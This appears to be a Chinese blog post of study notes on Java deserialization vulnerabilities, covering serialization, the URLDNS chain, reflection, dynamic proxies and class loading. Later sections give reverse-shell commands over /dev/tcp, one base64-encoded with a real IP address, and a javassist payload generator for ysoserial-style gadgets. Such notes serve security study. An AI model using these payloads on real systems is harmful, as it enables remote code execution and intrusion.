Java安全基础(Java反序列化漏洞专题-基础篇)

Java安全基础

序列化和反序列化

  • 序列化:把Java对象转换为字节序列的过程

  • 反序列化:把字节序列恢复为Java对象的过程

  • 使用原因:用于传递

  • 常用协议:XML&SOAP、JSON、Protobuf

  • 使用方式如下:writeObject()、readObject()。(静态成员变量、transient标识的对象成员变量不能序列化)

Alt + 7调出Structure

Person.java(需要实现Serializable接口)

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;

    public Person() {
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Persion{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

SerializationTest

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

UnserializeTest

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}
  • 安全问题:只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

  • 可能的形式

    • 入口类的readObeject直接调用危险方法

    • 入口类参数中包含可控类,该类有危险方法,readObject时调用

    • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

    • 构造函数/静态代码块等类加载时隐式执行

  1. 入口类的readObeject直接调用危险方法(基本不可能出现)

Person.java中添加以下代码

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

序列化再反序列化,执行readObject代码,弹出计算器

  1. 入口类参数中包含可控类

条件:(1)继承Serializable、(2)入口类source(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带 Map,HashMap HashTable)、(3)调用链gadget chain 相同名称 相同类型、(4)执行类sink(rce ssrf 写文件等等) 最重要

URLDNS

Ctrl+H调出查看类层级关系图同版本

  • 利用点仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。

  • 但是有以下优点:

    • Java 内置的类构造,对第三⽅库没有依赖

    • 没有回显的时候,能够通过 DNS 请求检测是否存在反序列化漏洞 URL 类。之后调用openConnection方法,不是常见函数,很难往下利用。

  • 利用URL中的HashMap(错误示范)
public static void main(String[] args) throws IOException{
        Person person = new Person("aa",22);
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        //put已经发起了dns请求,put调用了hash,hash调用了hashCode(key),hashCode调用了getHostAddress方法
        hashmap.put(new URL("http://k15i0g.dnslog.cn"),1);
        serialize(hashmap);
    }

坏处:1.可能误以为是反序列化发起的dns。2.反序列化的时候其实收不到dns请求。

原因:URL类中的hashCode,再hashCode!=1的时候直接返回hashCode,而序列化的时候hashCode已经!=1了(初始化的时候才为1)

解决:1.put不发起请求。2.使用反射技术改变已有对象的属性,把hashcode改为-1。

link:https://drun1baby.top/2022/05/17/Java反序列化基础篇-01-反序列化概念与利用/

Java 反射与 URLDNS 链分析

反射 Reflection

  • 反射机制:为了让Java具有动态性(在运行时动态创建实对象),指的是再运行状态中,对于任意一个类都能知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的任意一个方法。

  • 正射:有一个实例然后调用它的方法

Student st = new Student();
st.doHomework("数学");
  • 反射:开始并不知道类对象是说明,无法用new创建对象。
Class c = person.getClass();
  • 作用:(1)修改已有对象属性(2)动态生成对象(3)动态调用方法(4)操作内部类和私有方法

Class类

  • 其实就是编译运行生成的.class文件,这个.class文件中的内容是相对应的类的所有信息。person.class就是Class,Class就是描述类的类

  • Class类的对象作用是运行时提供或获得某个对象的类型信息

  • 反射就是操作Class

  • 使用方式

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person();
        Class c = person.getClass();
        //反射就是操作Class
        //1.从原型class里面实例化对象
        //c.newInstance();
        Constructor personconstructor = c.getConstructor(String.class, int.class);
        Person p = (Person) personconstructor.newInstance("abc",22);
        System.out.println(p);
        //2.获取类里面属性  , DeclaredFields所有的变量包括private
        Field[] personfields = c.getDeclaredFields();
        for (Field f: personfields) {
            System.out.println(f);
        }
        // 改变name值
        Field namefield = c.getField("name");
        namefield.set(p,"saffs");
        System.out.println(p);
        //不允许争着这么改变private, 报错。  需要家setAccessible
        Field agefield = c.getDeclaredField("age");
        agefield.setAccessible(true); //必须加上才能改private
        agefield.set(p,25);
        System.out.println(p);
        //3.调用类里面的方法
        //打印方法
//        Method[] personmethods = c.getMethods();
//        for(Method m: personmethods){
//            System.out.println(m);
//        }
        //需要告诉参数类型
        Method actionmethod = c.getMethod("action", String.class);
        actionmethod.invoke(p, "1111");
        //私有方法
//        Method actionmethod = c.getDeclaredMethod("action", String.class);
//        actionmethod.setAccessible(true);
//        actionmethod.invoke(p,"1111")
    }
}

输出

Persion{name='abc', age=22}
public java.lang.String Person.name
private int Person.age
Persion{name='saffs', age=22}
Persion{name='saffs', age=25}
1111

URLDNS再探

  • new URL初始化将hashcode==1,put方法之前需要把hashcode改成!=-1,让DNS请求不能发送。然后使用put方法,put方法之后再把hashcode改成-1,让他能发送dns请求。
public static void main(String[] args) throws IOException{
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        //这里不要发起请求, 把url对象hashcode改成不是-1
        URL url = new URL("http://k15i0g.dnslog.cn");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url, 123);
        hashmap.put(url,1);
        //再将hashcode改为-1,以便反序列化的时候执行
        //这里把hashcode改为-1,通过反射改变已有对象的属性
        hashcodefield.set(url, -1);
        serialize(hashmap);
    }
  • 流程:可能的形式

    • 入口类的readObeject直接调用危险方法

    • 入口类参数中包含可控类,该类有危险方法,readObject时调用

      入口A HashMap 接收参数O,目标类B URL,目标调用B.f,A.readObject->O(B).f

    • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

    • 构造函数/静态代码块等类加载时隐式执行

利用链:HashMap的readObject->hash()->key.hashCode()->URL.hashCode()->handler.hashCode(this);->getHostAddress(u);

  • 反射在反序列化漏洞中的应用

    • 定制需要的对象,可以改它的值

    • 通过invoke调用除了同名函数以外的函数

    • 通过Class类创建对象,引入不能序列化的类(Runtime.class,invoke("getRuntime"))

link:https://drun1baby.top/2022/05/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-02-Java%E5%8F%8D%E5%B0%84%E4%B8%8EURLDNS%E9%93%BE%E5%88%86%E6%9E%90

Java反射进阶

java.lang.Runtime

Runtime 类中有 exec 方法,可以用来命令执行

setAccessible(true)

一般情况下不能对类的private字段进行操作。但是可以通过调用AccessibleObject 上的 setAccessible() 方法来允许访问。

一般这种情况与方法getConstructor配合使用。和getMethod类似,getConstructor接收的参数是构造函数列表类型,参数列表类型确定一个构造函数。

Class c = Class.forName("java.lang.Runtime");
Constructor m = c.getDeclaredConstructor();
m.setAccessible(true);
c.getMethod("exec", String.class).invoke(m.newInstance(), "C:\\\\WINDOWS\\\\System32\\\\calc.exe");

forName的两个重载方法的区别

forName(String className)
forName(String name, boolean initialize, ClassLoader loader)

1.类名。2.是否初始化。3.类加载器,告诉Java虚拟机如何加载这个类,Java默认的ClassLoader就是根据类名来加载类,这个类名是类完整路径,如java.lang.Runtime。

forName(className) 等价于 forName(className, true, currentLoader)

各种代码块执行顺序

测试代码

public class Sort {
    public static void main(String[] args) {
        Test test = new Test();
    }
}
class Test {
    {
        System.out.println("1");
    }
    static {
        System.out.println("2");
    }
    Test() {
        System.out.println("3");
    }
}

输出

2
1
3

很容易理解,首先是static(类初始化时调用),然后{}(super()构造函数之后调用)。

  • 那么forName的initialize=ture执行类初始化的话,我们可以编写恶意类,将恶意代码放在static{}中,从而执行恶意代码。
public class TouchFile {
	static {
		
		try {
			Runtime rt = Runtime.getRuntime();
			String[] commands = {"touch", "/tmp/success"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
// do nothing
		}
	}
}

Java命令执行的三种方式

Runtime

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class Sort {
    public static void main(String[] args) throws IOException {
        InputStream inputStream = Runtime.getRuntime().exec("id").getInputStream();
        byte[] cache = new byte[2048];
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int readLen =0 ;
        while ((readLen = inputStream.read(cache))!=1){
            byteArrayOutputStream.write(cache,0,readLen);
        }
        System.out.println(byteArrayOutputStream);
    }
}

思路:

  • 调用getRuntime()返回Runtime对象,调用该对象exec方法

  • 调用exec方法会返回Process对象,调用Process对象的getInputStream()方法。

  • 使用getInputStream()方法将命令输出作为输入流传入inputStream

  • 将结果存储到字节数组中

ProcessBuilder

InputStream inputStream = new ProcessBuilder("ipconfig").start().getInputStream();  

ProcessImpl

  • 更为底层,前两个实际上就是调用了它

  • 需要使用反射简介调用ProcessImpl(私有方法)

String[] cmds = new String[]{"id"};
        Class c = Class.forName("java.lang.ProcessImpl");
        Method method = c.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class)
        method.setAccessible(true);
        Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
        InputStream inputStream = e.getInputStream();

Java反射修改static final修饰字段

  • private - getDeclaredField

  • static - getDeclaredField

  • final修饰变量 - 取决于字段是直接赋值还是间接赋值(编译时赋值和运行时赋值的区别)

    • 直接赋值指的创建字段时就赋值,并且值为JAVA的8中基础数据类型或String类型,而且值不能是经过逻辑判断产生的,其他情况均为间接赋值
  • 直接赋值(报错)

private final String name = "Drunkbaby";  
public final int age = 20-2;
Class c = Class.forName("src.ReflectDemo.ReflectFixFinal.pojo.FinalStraightPerson");  
Object m = c.newInstance();  
Method printMethod = c.getDeclaredMethod("printInfo");  
printMethod.invoke(m);  
  
Field nameField = c.getDeclaredField("name");  
Field ageField = c.getDeclaredField("age");
nameField.setAccessible(true);  
ageField.setAccessible(true);  
nameField.set(m,"Drunkbaby as Drun1baby");  
ageField.set(m,"19"); 
  • 间接赋值(成功)
private final StringBuilder sex = new StringBuilder("male");  
// 经过逻辑判断产生的变量赋值  
public final int age = (null!=null?18:18);  
// 通过构造函数进行赋值  
private final String name;  
    public InDirectPerson(){  
        name = "Drunkbaby";  
    }  
Class c = Class.forName("src.ReflectDemo.ReflectFixFinal.pojo.InDirectPerson");  
Object m = c.newInstance();  
Method printMethod = c.getDeclaredMethod("printInfo");  
printMethod.invoke(m);  
  
Field nameField = c.getDeclaredField("name");  
Field ageField = c.getDeclaredField("age");  
Field sexField = c.getDeclaredField("sex");  
nameField.setAccessible(true);  
ageField.setAccessible(true);  
sexField.setAccessible(true);  
nameField.set(m,"Drunkbaby Too Silly");  
ageField.set(m,180);  
sexField.set(m,new StringBuilder("female"));  
printMethod.invoke(m);  
  • static+final

    • 使用 static final 修饰符的 name 属性,间接赋值,无法通过反射直接修改

    • 需要通过反射把 nameField 的 final 修饰符去掉,再赋值。.getClass().getDeclaredField("modifiers")

static final StringBuilder name = new StringBuilder("Drunkbaby");  java
Class c = Class.forName("src.ReflectDemo.ReflectFixFinal.pojo.StaticFinalPerson");  
Object m = c.newInstance();  


Field nameField = c.getDeclaredField("name");  
nameField.setAccessible(true);  
Field nameModifyField = nameField.getClass().getDeclaredField("modifiers");  
nameModifyField.setAccessible(true);  
nameModifyField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL);  
nameField.set(m,new StringBuilder("Drunkbaby Too Silly"));  
nameModifyField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL);  

动态代理

  • 代理模式:为其他对象提供一种代理以控制对这个对象的访问

  • 优点:职责清晰,高扩展,智能化

  • 静态代理

简单的一个类A实现一个接口,将A对象当作参数传入另一个类B再实现接口。

优点:(1)使得我们的真实角色更加纯粹,不再关注一些公共的事情。(2)公共的业务由代理来完成,实现了业务的分工。(3)公共业务发生扩展时变得更加集中和方便。

缺点:一个真实类对应一个代理角色,代码量翻倍,开发效率低。(如果接口很多方法需要实现,那么类A和类B都需要实现很多方法,而且类B中可能有很多重复的操作。如日志记录,记录类A的日志,可能每个方法记录日志的方式/代码都是一样的)

  • 动态代理

需要使用Proxy中的newProxyInstance

定义接口IUser.java

public interface IUser {
    void show();
    void update();
}

实现类,UserImpl.java

public class UserImpl implements IUser{
    public UserImpl() {

    }

    @Override
    public void show() {
        System.out.println("展示");
    }

    @Override
    public void update() {
        System.out.println("更新");
    }
}

静态代理实现UserProxy.java

public class UserProxy implements IUser{
    IUser user;

    public UserProxy() {
    }

    public UserProxy(IUser user) {
        this.user = user;
    }

    @Override
    public void show() {
        user.show();
        System.out.println("调用了show");
    }

    @Override
    public void update() {
        System.out.println("调用了update");
    }
}

动态代理因为newProxyInstance需要传入一个InvocationHandler的参数,所以先定义一个实现InvocationHandler接口UserInvocationHandler.java(动态代理类)

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
    IUser user;

    public UserInvocationHandler(IUser user) {
        this.user = user;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用了"+method.getName());
        method.invoke(user, args);
        return null;
    }
}

invok方法中的method就是调用对象使用的方法,由底层获取。

使用动态代理ProxyTest.java

public class ProxyTest {
    public static void main(String[] args) {
        IUser user = new UserImpl();
//        user.show();
        //静态代理
//        UserProxy userProxy = new UserProxy(user);
//        userProxy.show();
        //动态代理
        //classloader、要代理的接口、要做的事情
        InvocationHandler userinvocationhandler = new UserInvocationHandler(user);
        IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
                user.getClass().getInterfaces(),userinvocationhandler);
//        IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
//                new Class<?>[IUser.class],userinvocationhandler);
        userProxy.show();
    }
}
  • 优点:少修改代码 适配强

反序列化中的应用

  • readObject 反序列化自动执行

  • invoke 有函数调用自动执行

  • 拼接两条链

  • 任意方法->固定地方

场景:

(1)假设存在一个能漏洞利用的类和方法为B.f,如Runtime.exec

(2)将入口类定义为A,最理想情况A[O] -> O.f,将O替换为B对象即可,但是实战很少

(3)回到实战,比如入口类A存在O.abc这个方法,也就是A[O]->O.abc,如果这是一个动态代理类,O的invoke方法里存在.f方法,便可以漏洞利用

类的动态加载

类加载器

  • 加载Class文件

  • 引导类加载器BootstrapClassLoader

  • 扩展类加载器ExtensionsClassLoader

  • App类加载器AppClassLoader

双亲委派

类加载

  • 类加载与反序列化

    • 类加载时会执行代码

    • 初始化:静态代码块

    • 实例化:构造代码块、无参构造函数

    • 初始化的时候调用静态代码块,其他在使用对象实例化的时候调用

public static int id;
    static {
        System.out.println("静态代码块");
    }
    {
        System.out.println("构造代码块");
    }

    public static void staticAction(){
        System.out.println("静态方法");
    }

    public Person() {
        System.out.println("无参Person");
    }

    public Person(String name, int age) {
        System.out.println("有参person");
        this.name = name;
        this.age = age;
    }
//new Person
//静态代码块
//构造代码块
//无参Person/有参Person
//Person.staticAction()
//静态代码块
//静态方法
//Person.id=1
//静态代码块

使用class获取类:不会加载类,也就是什么也不会输出

使用forName获取类:(可可视化,可不初始化)

Class.forName("Person");
Class<?> c = Class.forName("Person",false,ClassLoader.getSystemClassLoader());
c.newInstance();

//静态代码块
//空

使用loadClass获取类

ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> c = cl.loadClass("Person");  //不初始化
c.newInstance();
//初始化

动态加载字节码

类加载器原理

ClassLoader->SecureLoader->URLClassLoader->AppClassLoader->loadClass()->findClass()

调用:loadClass->findClass(重写的方法)->defineClass(从字节码加载类)

利用URLClassLoader加载远程class文件

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / (\) 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。

file协议

public class Calc {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
 } catch (IOException e){  
            e.printStackTrace();  
 }  
    }  
}

点锤子编译,在out的src文件夹生成.class文件,复制到E盘

编写URLClassLoader的启动类,加载这个类,弹出计算器

// URLClassLoader 的 file 协议  
public class FileRce {  
    public static void main(String[] args) throws Exception {  
        URLClassLoader urlClassLoader = new URLClassLoader  
                (new URL[]{new URL("file:///E:\\")});  
 Class calc = urlClassLoader.loadClass("Calc");  
 calc.newInstance();  
 }  
}

HTTP

Calc.class目录下执行python3 -m http.server 9999启动一个http服务,编写恶意利用类

// URLClassLoader 的 HTTP 协议  
public class HTTPRce {  
    public static void main(String[] args) throws Exception{  
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:9999")});  
 Class calc = urlClassLoader.loadClass("Calc");  
 calc.newInstance();  
 }  
}

file+jar协议

将class文件打包为jar文件 jar -cvf Calc.jar Calc.class

修改启动器,调用恶意类

// URLClassLoader 的 file + jarpublic class JarRce {  
    public static void main(String[] args) throws Exception{  
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});  
 Class calc = urlClassLoader.loadClass("Calc");  
 calc.newInstance();  
 }  
}

ClassLoader#defineClass 直接加载字节码

  • protected方法,反射调用

  • ClassLoader.defineClass

ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Test.class"));
Class c = (Class) defineClass.invoke(cl, "Test", 0, code.length);
c.newInstance();

Unsafe 加载字节码

  • Unsafe.defineClass

  • public 类不能直接生成,Spring里可以直接生成

ClassLoader cl = ClassLoader.getSystemClassLoader();
byte[] code = Files.readAllBytes(Paths.get("D:\\Test.class"));
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = (Class) unsafe.defineClass("Test", code, 0, code.length, cl, null);
c2.newInstance();

Java反弹shell和Runtime.getRuntime().exec()

yso使用

  • java -jar ysoxxx.jar 要打的链子 "命令" |base64 -w0 (不换行)

PoC无回显

与Runtime.getRuntime().exec()机制有关,共有六个重载方法

public Process exec(String command) throws IOException {
        return exec(command, null, null);
}

public Process exec(String command, String[] envp) throws IOException {
        return exec(command, envp, null);
}

public Process exec(String command, String[] envp, File dir)
        throws IOException {
        if (command.length() == 0)
            throw new IllegalArgumentException("Empty command");

        StringTokenizer st = new StringTokenizer(command);
        String[] cmdarray = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++)
            cmdarray[i] = st.nextToken();
        return exec(cmdarray, envp, dir);
}

public Process exec(String cmdarray[]) throws IOException {
        return exec(cmdarray, null, null);
}

public Process exec(String[] cmdarray, String[] envp) throws IOException {
        return exec(cmdarray, envp, null);
}

public Process exec(String[] cmdarray, String[] envp, File dir)
        throws IOException {
        return new ProcessBuilder(cmdarray)
            .environment(envp)
            .directory(dir)
            .start();
}

不过最后都是调用exec(String[] cmdarray, String[] envp, File dir)

需要解决的问题:直接传入的字符串不能直接进行命令执行,Java Runtime.exe() 执行命令与反弹shell(下) - 简书

(1)重定向和管道符的使用方式在正在启动的进程的中没有意义。

(2)参数无法界定范围

执行方法:

  • 传入数组(不会被分割)

    • exec(["/bin/bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1"] as String[])
  • 传入字符串执行

    • bash$IFS$9-i>&/dev/tcp/ip/port<&1

    • '$@|bash' 'xxx' 'echo' 'ls' 
      执行的是:
      echo 'ls'|bash
      

让Poc成功有效

命令执行的最常用的应该是动态加载字节码,用javassist生成字节码

EXP

public static byte[] getTemplatesImpl(String cmd) {  
    try {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass ctClass = pool.makeClass("Evil");  
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");  
        ctClass.setSuperclass(superClass);  
        CtConstructor constructor = ctClass.makeClassInitializer();  
        constructor.setBody(" try {\n" +  
                " Runtime.getRuntime().exec(\"" + cmd +  
"\");\n" +
                " } catch (Exception ignored) {\n" +  
                " }");  
        // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"  
 byte[] bytes = ctClass.toBytecode();  
        ctClass.defrost();  
        return bytes;  
    } catch (Exception e) {  
        e.printStackTrace();  
        return new byte[]{};  
    }  
}

改写ysoserial解决shell失效问题

问题:可以出网,可以反弹shell,而命令执行没有回显

https://ctf.org.cn/2020/06/17/JAVA4-%E6%94%B9%E5%86%99ysoserial%E8%A7%A3%E5%86%B3%E5%B8%B8%E8%A7%84shell%E5%A4%B1%E6%95%88%E9%97%AE%E9%A2%98/

link:https://drun1baby.top/

posted @ 2023-05-09 17:18  A1oe  阅读(172)  评论(0编辑  收藏  举报